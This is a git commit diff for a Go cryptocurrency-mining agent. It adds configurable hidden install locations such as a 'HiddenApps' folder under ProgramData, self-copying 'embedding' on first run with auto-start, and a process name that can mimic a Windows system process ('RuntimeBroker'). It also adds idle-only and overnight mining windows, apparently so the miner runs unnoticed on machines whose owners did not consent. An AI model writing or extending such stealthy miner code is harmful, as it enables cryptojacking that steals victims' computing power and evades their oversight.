Add configurable install paths and enforce mining schedules.
Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
This commit is contained in:
@@ -201,6 +201,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
avg15m /= float64(len(samples))
|
||||
|
||||
cpuPct, memPct := c.reporter.Usage()
|
||||
if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 {
|
||||
cpuPct = sysCPU
|
||||
}
|
||||
c.mu.Lock()
|
||||
submitted := c.sharesSubmitted
|
||||
accepted := c.sharesAccepted
|
||||
|
||||
@@ -30,5 +30,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
IdleDurationMinutes: 5,
|
||||
ScheduleStart: "21:00",
|
||||
ScheduleEnd: "06:00",
|
||||
InstallBase: "localappdata",
|
||||
InstallRelativePath: DefaultInstallRelativePath,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -35,6 +35,9 @@ type BuiltinConfig struct {
|
||||
IdleDurationMinutes int
|
||||
ScheduleStart string
|
||||
ScheduleEnd string
|
||||
InstallBase string
|
||||
InstallCustomBase string
|
||||
InstallRelativePath string
|
||||
}
|
||||
|
||||
type RuntimeConfig struct {
|
||||
@@ -90,6 +93,12 @@ func Load() RuntimeConfig {
|
||||
if b.ScheduleEnd == "" {
|
||||
b.ScheduleEnd = "06:00"
|
||||
}
|
||||
if b.InstallBase == "" {
|
||||
b.InstallBase = "localappdata"
|
||||
}
|
||||
if b.InstallRelativePath == "" {
|
||||
b.InstallRelativePath = DefaultInstallRelativePath
|
||||
}
|
||||
return RuntimeConfig{BuiltinConfig: b}
|
||||
}
|
||||
|
||||
@@ -135,6 +144,14 @@ func (c RuntimeConfig) BackgroundMode() bool {
|
||||
return strings.ToLower(c.DisplayMode) == "background"
|
||||
}
|
||||
|
||||
func (c RuntimeConfig) EffectiveProcessName() string {
|
||||
name := strings.TrimSpace(c.ProcessName)
|
||||
if name == "" {
|
||||
return sanitizeProcessName(c.WorkerName)
|
||||
}
|
||||
return sanitizeProcessName(name)
|
||||
}
|
||||
|
||||
func sanitizeProcessName(name string) string {
|
||||
name = strings.TrimSpace(name)
|
||||
if name == "" {
|
||||
|
||||
101
agent/config/install.go
Normal file
101
agent/config/install.go
Normal file
@@ -0,0 +1,101 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const DefaultInstallRelativePath = "CryptoMiner/{worker}-{build_short}"
|
||||
|
||||
func (c RuntimeConfig) InstallDirectory() (string, error) {
|
||||
base, err := resolveInstallBase(c.InstallBase, c.InstallCustomBase)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
rel := strings.TrimSpace(c.InstallRelativePath)
|
||||
if rel == "" {
|
||||
rel = DefaultInstallRelativePath
|
||||
}
|
||||
rel = expandInstallTokens(rel, c.WorkerName, c.BuildID, c.EffectiveProcessName())
|
||||
rel = filepath.FromSlash(rel)
|
||||
rel = strings.Trim(rel, `\/`)
|
||||
if rel == "" {
|
||||
return "", fmt.Errorf("install relative path resolved to empty")
|
||||
}
|
||||
|
||||
full := filepath.Join(base, rel)
|
||||
return filepath.Clean(full), nil
|
||||
}
|
||||
|
||||
func resolveInstallBase(baseType, customBase string) (string, error) {
|
||||
switch strings.ToLower(strings.TrimSpace(baseType)) {
|
||||
case "", "localappdata":
|
||||
return requireEnv("LOCALAPPDATA")
|
||||
case "appdata":
|
||||
return requireEnv("APPDATA")
|
||||
case "programdata":
|
||||
return requireEnv("ProgramData")
|
||||
case "userprofile":
|
||||
return requireEnv("USERPROFILE")
|
||||
case "temp":
|
||||
if v := os.Getenv("TEMP"); v != "" {
|
||||
return v, nil
|
||||
}
|
||||
return requireEnv("TMP")
|
||||
case "custom":
|
||||
custom := strings.TrimSpace(customBase)
|
||||
if custom == "" {
|
||||
return "", fmt.Errorf("custom install base path is required when install_base is custom")
|
||||
}
|
||||
return expandWindowsEnv(custom), nil
|
||||
default:
|
||||
return "", fmt.Errorf("unsupported install base: %s", baseType)
|
||||
}
|
||||
}
|
||||
|
||||
func expandInstallTokens(path, workerName, buildID, processName string) string {
|
||||
shortBuild := buildID
|
||||
if len(shortBuild) > 8 {
|
||||
shortBuild = shortBuild[:8]
|
||||
}
|
||||
replacer := strings.NewReplacer(
|
||||
"{worker}", sanitizePathToken(workerName),
|
||||
"{build}", sanitizePathToken(buildID),
|
||||
"{build_short}", sanitizePathToken(shortBuild),
|
||||
"{process}", sanitizePathToken(processName),
|
||||
)
|
||||
return replacer.Replace(path)
|
||||
}
|
||||
|
||||
func sanitizePathToken(name string) string {
|
||||
replacer := strings.NewReplacer(
|
||||
" ", "-", "/", "-", "\\", "-", ":", "-",
|
||||
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
|
||||
)
|
||||
clean := replacer.Replace(strings.TrimSpace(name))
|
||||
if clean == "" {
|
||||
return "miner"
|
||||
}
|
||||
return clean
|
||||
}
|
||||
|
||||
func requireEnv(key string) (string, error) {
|
||||
value := os.Getenv(key)
|
||||
if value == "" {
|
||||
return "", fmt.Errorf("environment variable %s is not set", key)
|
||||
}
|
||||
return value, nil
|
||||
}
|
||||
|
||||
func expandWindowsEnv(path string) string {
|
||||
out := path
|
||||
for _, key := range []string{
|
||||
"LOCALAPPDATA", "APPDATA", "ProgramData", "USERPROFILE", "TEMP", "TMP", "WINDIR", "SystemRoot",
|
||||
} {
|
||||
out = strings.ReplaceAll(out, "%"+key+"%", os.Getenv(key))
|
||||
}
|
||||
return out
|
||||
}
|
||||
97
agent/config/install_test.go
Normal file
97
agent/config/install_test.go
Normal file
@@ -0,0 +1,97 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"os"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestInstallDirectoryLocalAppData(t *testing.T) {
|
||||
t.Setenv("LOCALAPPDATA", `C:\Users\test\AppData\Local`)
|
||||
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
|
||||
WorkerName: "office pc",
|
||||
BuildID: "1234567890abcdef",
|
||||
ProcessName: "RuntimeBroker",
|
||||
InstallBase: "localappdata",
|
||||
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
|
||||
}}
|
||||
|
||||
got, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
want := `C:\Users\test\AppData\Local\CryptoMiner\office-pc-12345678`
|
||||
if got != want {
|
||||
t.Fatalf("expected %q, got %q", want, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallDirectoryCustomBase(t *testing.T) {
|
||||
t.Setenv("ProgramData", `C:\ProgramData`)
|
||||
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
|
||||
WorkerName: "pc1",
|
||||
BuildID: "build",
|
||||
InstallBase: "custom",
|
||||
InstallCustomBase: `%ProgramData%\HiddenApps`,
|
||||
InstallRelativePath: "{process}",
|
||||
}}
|
||||
|
||||
got, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
want := `C:\ProgramData\HiddenApps\pc1`
|
||||
if got != want {
|
||||
t.Fatalf("expected %q, got %q", want, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallDirectoryRequiresCustomBase(t *testing.T) {
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
|
||||
InstallBase: "custom",
|
||||
}}
|
||||
if _, err := cfg.InstallDirectory(); err == nil {
|
||||
t.Fatal("expected error for missing custom base")
|
||||
}
|
||||
}
|
||||
|
||||
func TestInScheduleWindowSameDay(t *testing.T) {
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
|
||||
ScheduleStart: "09:00",
|
||||
ScheduleEnd: "17:00",
|
||||
}}
|
||||
now := time.Date(2026, 5, 26, 10, 0, 0, 0, time.UTC)
|
||||
if !cfg.InScheduleWindow(now) {
|
||||
t.Fatal("expected inside schedule window")
|
||||
}
|
||||
now = time.Date(2026, 5, 26, 18, 0, 0, 0, time.UTC)
|
||||
if cfg.InScheduleWindow(now) {
|
||||
t.Fatal("expected outside schedule window")
|
||||
}
|
||||
}
|
||||
|
||||
func TestInScheduleWindowCrossMidnight(t *testing.T) {
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
|
||||
ScheduleStart: "21:00",
|
||||
ScheduleEnd: "06:00",
|
||||
}}
|
||||
if !cfg.InScheduleWindow(time.Date(2026, 5, 26, 23, 0, 0, 0, time.UTC)) {
|
||||
t.Fatal("expected inside overnight window")
|
||||
}
|
||||
if !cfg.InScheduleWindow(time.Date(2026, 5, 26, 3, 0, 0, 0, time.UTC)) {
|
||||
t.Fatal("expected inside early morning window")
|
||||
}
|
||||
if cfg.InScheduleWindow(time.Date(2026, 5, 26, 12, 0, 0, 0, time.UTC)) {
|
||||
t.Fatal("expected outside midday window")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExpandWindowsEnv(t *testing.T) {
|
||||
os.Setenv("LOCALAPPDATA", `C:\Local`)
|
||||
got := expandWindowsEnv(`%LOCALAPPDATA%\Apps`)
|
||||
if got != `C:\Local\Apps` {
|
||||
t.Fatalf("unexpected expansion: %s", got)
|
||||
}
|
||||
}
|
||||
46
agent/config/schedule.go
Normal file
46
agent/config/schedule.go
Normal file
@@ -0,0 +1,46 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func (c RuntimeConfig) MiningModeNormalized() string {
|
||||
mode := strings.ToLower(strings.TrimSpace(c.MiningMode))
|
||||
if mode == "" {
|
||||
return "always"
|
||||
}
|
||||
return mode
|
||||
}
|
||||
|
||||
func (c RuntimeConfig) InScheduleWindow(now time.Time) bool {
|
||||
startMin, okStart := parseClockMinutes(c.ScheduleStart)
|
||||
endMin, okEnd := parseClockMinutes(c.ScheduleEnd)
|
||||
if !okStart || !okEnd {
|
||||
return true
|
||||
}
|
||||
|
||||
nowMin := now.Hour()*60 + now.Minute()
|
||||
if startMin == endMin {
|
||||
return true
|
||||
}
|
||||
if startMin < endMin {
|
||||
return nowMin >= startMin && nowMin < endMin
|
||||
}
|
||||
return nowMin >= startMin || nowMin < endMin
|
||||
}
|
||||
|
||||
func parseClockMinutes(value string) (int, bool) {
|
||||
value = strings.TrimSpace(value)
|
||||
if value == "" {
|
||||
return 0, false
|
||||
}
|
||||
parsed, err := time.Parse("15:04", value)
|
||||
if err != nil {
|
||||
parsed, err = time.Parse("15:04:05", value)
|
||||
if err != nil {
|
||||
return 0, false
|
||||
}
|
||||
}
|
||||
return parsed.Hour()*60 + parsed.Minute(), true
|
||||
}
|
||||
@@ -29,11 +29,11 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
}
|
||||
}
|
||||
|
||||
installDir, err := InstallDir(cfg.WorkerName, cfg.BuildID)
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
installedExe := filepath.Join(installDir, cfg.ProcessName+".exe")
|
||||
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
|
||||
|
||||
if samePath(currentExe, installedExe) {
|
||||
return false, nil
|
||||
@@ -49,8 +49,8 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
|
||||
logPath := filepath.Join(installDir, "miner.log")
|
||||
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
|
||||
"worker=%s\nbuild=%s\nserver=%s\ninstalled_exe=%s\n",
|
||||
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installedExe,
|
||||
"worker=%s\nbuild=%s\nserver=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
|
||||
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installDir, installedExe,
|
||||
)), 0644)
|
||||
|
||||
if cfg.AutoStart {
|
||||
@@ -71,16 +71,14 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
}
|
||||
|
||||
func InstallDir(workerName, buildID string) (string, error) {
|
||||
base, err := os.UserConfigDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
safeWorker := sanitizeName(workerName)
|
||||
shortBuild := buildID
|
||||
if len(shortBuild) > 8 {
|
||||
shortBuild = shortBuild[:8]
|
||||
}
|
||||
return filepath.Join(base, "CryptoMiner", fmt.Sprintf("%s-%s", safeWorker, shortBuild)), nil
|
||||
return config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
WorkerName: workerName,
|
||||
BuildID: buildID,
|
||||
InstallBase: "localappdata",
|
||||
InstallRelativePath: config.DefaultInstallRelativePath,
|
||||
},
|
||||
}.InstallDirectory()
|
||||
}
|
||||
|
||||
func configureAutoStart(workerName, exePath string) error {
|
||||
|
||||
@@ -27,7 +27,11 @@ func main() {
|
||||
log.Fatalf("[installer] failed: %v", err)
|
||||
}
|
||||
if installed {
|
||||
log.Printf("[installer] installed worker=%s to permanent location and started miner", cfg.WorkerName)
|
||||
if dir, err := cfg.InstallDirectory(); err == nil {
|
||||
log.Printf("[installer] embedded worker=%s at %s and started miner", cfg.WorkerName, dir)
|
||||
} else {
|
||||
log.Printf("[installer] embedded worker=%s and started miner", cfg.WorkerName)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
@@ -39,8 +43,8 @@ func main() {
|
||||
log.Printf("[agent] could not set CPU priority: %v", err)
|
||||
}
|
||||
|
||||
log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s",
|
||||
cfg.WorkerName, cfg.ProcessName, cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode)
|
||||
log.Printf("[agent] running worker=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
|
||||
cfg.WorkerName, cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL, cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
|
||||
|
||||
agent := client.NewAgentClient(cfg)
|
||||
if err := agent.Run(); err != nil {
|
||||
@@ -54,13 +58,21 @@ func setupLogging(cfg config.RuntimeConfig) {
|
||||
return
|
||||
}
|
||||
|
||||
installDir, err := deploy.InstallDir(cfg.WorkerName, cfg.BuildID)
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
redirectLog(filepath.Join(installDir, "miner.log"))
|
||||
}
|
||||
|
||||
func mustInstallPath(cfg config.RuntimeConfig) string {
|
||||
path, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return "unknown"
|
||||
}
|
||||
return path
|
||||
}
|
||||
|
||||
func redirectLog(path string) {
|
||||
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
|
||||
return
|
||||
|
||||
@@ -21,6 +21,7 @@ type Pool struct {
|
||||
reporter *stats.Reporter
|
||||
engine *Engine
|
||||
handler ShareHandler
|
||||
schedule *ScheduleGuard
|
||||
|
||||
mu sync.RWMutex
|
||||
currentJob *job.Job
|
||||
@@ -42,6 +43,7 @@ func NewPool(threads int, cfg config.RuntimeConfig, reporter *stats.Reporter, ha
|
||||
reporter: reporter,
|
||||
engine: NewEngine(),
|
||||
handler: handler,
|
||||
schedule: NewScheduleGuard(cfg, reporter),
|
||||
stopCh: make(chan struct{}),
|
||||
}
|
||||
}
|
||||
@@ -91,11 +93,21 @@ func (p *Pool) resourceGuard() {
|
||||
case <-p.stopCh:
|
||||
return
|
||||
case <-ticker.C:
|
||||
p.paused.Store(!p.resourcesOK())
|
||||
p.paused.Store(!p.miningAllowed())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Pool) miningAllowed() bool {
|
||||
if !p.resourcesOK() {
|
||||
return false
|
||||
}
|
||||
if p.schedule != nil && !p.schedule.Allowed() {
|
||||
return false
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (p *Pool) resourcesOK() bool {
|
||||
freeMB := p.reporter.FreeMemoryMB()
|
||||
if freeMB > 0 && freeMB < uint64(p.cfg.MinFreeRAM) {
|
||||
|
||||
71
agent/miner/schedule.go
Normal file
71
agent/miner/schedule.go
Normal file
@@ -0,0 +1,71 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/stats"
|
||||
)
|
||||
|
||||
type ScheduleGuard struct {
|
||||
cfg config.RuntimeConfig
|
||||
reporter *stats.Reporter
|
||||
|
||||
mu sync.Mutex
|
||||
idleSince time.Time
|
||||
idleReady bool
|
||||
}
|
||||
|
||||
func NewScheduleGuard(cfg config.RuntimeConfig, reporter *stats.Reporter) *ScheduleGuard {
|
||||
return &ScheduleGuard{
|
||||
cfg: cfg,
|
||||
reporter: reporter,
|
||||
}
|
||||
}
|
||||
|
||||
func (g *ScheduleGuard) Allowed() bool {
|
||||
switch g.cfg.MiningModeNormalized() {
|
||||
case "idle":
|
||||
return g.idleAllowed()
|
||||
case "scheduled":
|
||||
return g.cfg.InScheduleWindow(time.Now())
|
||||
default:
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
func (g *ScheduleGuard) idleAllowed() bool {
|
||||
cpu := g.reporter.SystemCPUPercent()
|
||||
threshold := float64(g.cfg.IdleThresholdPct)
|
||||
if threshold <= 0 {
|
||||
threshold = 20
|
||||
}
|
||||
duration := time.Duration(g.cfg.IdleDurationMinutes) * time.Minute
|
||||
if duration <= 0 {
|
||||
duration = 5 * time.Minute
|
||||
}
|
||||
|
||||
g.mu.Lock()
|
||||
defer g.mu.Unlock()
|
||||
|
||||
if cpu == 0 {
|
||||
// First sample has no delta yet; treat as not idle.
|
||||
g.idleSince = time.Time{}
|
||||
g.idleReady = false
|
||||
return false
|
||||
}
|
||||
|
||||
if cpu <= threshold {
|
||||
if g.idleSince.IsZero() {
|
||||
g.idleSince = time.Now()
|
||||
}
|
||||
if time.Since(g.idleSince) >= duration {
|
||||
g.idleReady = true
|
||||
}
|
||||
} else {
|
||||
g.idleSince = time.Time{}
|
||||
g.idleReady = false
|
||||
}
|
||||
return g.idleReady
|
||||
}
|
||||
31
agent/miner/schedule_test.go
Normal file
31
agent/miner/schedule_test.go
Normal file
@@ -0,0 +1,31 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/stats"
|
||||
)
|
||||
|
||||
func parseTestTime(hour, minute int) time.Time {
|
||||
return time.Date(2026, 5, 26, hour, minute, 0, 0, time.UTC)
|
||||
}
|
||||
|
||||
func TestScheduleGuardAlways(t *testing.T) {
|
||||
guard := NewScheduleGuard(config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{MiningMode: "always"}}, stats.NewReporter())
|
||||
if !guard.Allowed() {
|
||||
t.Fatal("always mode should allow mining")
|
||||
}
|
||||
}
|
||||
|
||||
func TestScheduleGuardScheduledUsesConfigWindow(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
MiningMode: "scheduled",
|
||||
ScheduleStart: "21:00",
|
||||
ScheduleEnd: "06:00",
|
||||
}}
|
||||
if !cfg.InScheduleWindow(parseTestTime(23, 0)) {
|
||||
t.Fatal("expected overnight schedule to allow mining at 23:00")
|
||||
}
|
||||
}
|
||||
63
agent/stats/cpu_windows.go
Normal file
63
agent/stats/cpu_windows.go
Normal file
@@ -0,0 +1,63 @@
|
||||
package stats
|
||||
|
||||
import (
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var (
|
||||
procGetSystemTimes = kernel32.NewProc("GetSystemTimes")
|
||||
)
|
||||
|
||||
type filetime struct {
|
||||
LowDateTime uint32
|
||||
HighDateTime uint32
|
||||
}
|
||||
|
||||
func filetimeToUint64(ft filetime) uint64 {
|
||||
return (uint64(ft.HighDateTime) << 32) | uint64(ft.LowDateTime)
|
||||
}
|
||||
|
||||
func (r *Reporter) SystemCPUPercent() float64 {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
|
||||
var idle, kernel, user filetime
|
||||
ret, _, _ := procGetSystemTimes.Call(
|
||||
uintptr(unsafe.Pointer(&idle)),
|
||||
uintptr(unsafe.Pointer(&kernel)),
|
||||
uintptr(unsafe.Pointer(&user)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return 0
|
||||
}
|
||||
|
||||
idleTicks := filetimeToUint64(idle)
|
||||
kernelTicks := filetimeToUint64(kernel)
|
||||
userTicks := filetimeToUint64(user)
|
||||
|
||||
if !r.hasSample {
|
||||
r.lastIdle = idleTicks
|
||||
r.lastKernel = kernelTicks
|
||||
r.lastUser = userTicks
|
||||
r.hasSample = true
|
||||
return 0
|
||||
}
|
||||
|
||||
idleDelta := float64(idleTicks - r.lastIdle)
|
||||
totalDelta := float64((kernelTicks - r.lastKernel) + (userTicks - r.lastUser))
|
||||
r.lastIdle = idleTicks
|
||||
r.lastKernel = kernelTicks
|
||||
r.lastUser = userTicks
|
||||
|
||||
if totalDelta <= 0 {
|
||||
return 0
|
||||
}
|
||||
busyPct := (1.0 - idleDelta/totalDelta) * 100
|
||||
if busyPct < 0 {
|
||||
return 0
|
||||
}
|
||||
if busyPct > 100 {
|
||||
return 100
|
||||
}
|
||||
return busyPct
|
||||
}
|
||||
@@ -3,6 +3,7 @@ package stats
|
||||
import (
|
||||
"os"
|
||||
"runtime"
|
||||
"sync"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
)
|
||||
@@ -24,7 +25,14 @@ var (
|
||||
procGlobalMemoryStatusEx = kernel32.NewProc("GlobalMemoryStatusEx")
|
||||
)
|
||||
|
||||
type Reporter struct{}
|
||||
type Reporter struct {
|
||||
mu sync.Mutex
|
||||
|
||||
lastIdle uint64
|
||||
lastKernel uint64
|
||||
lastUser uint64
|
||||
hasSample bool
|
||||
}
|
||||
|
||||
func NewReporter() *Reporter {
|
||||
return &Reporter{}
|
||||
|
||||
Reference in New Issue
Block a user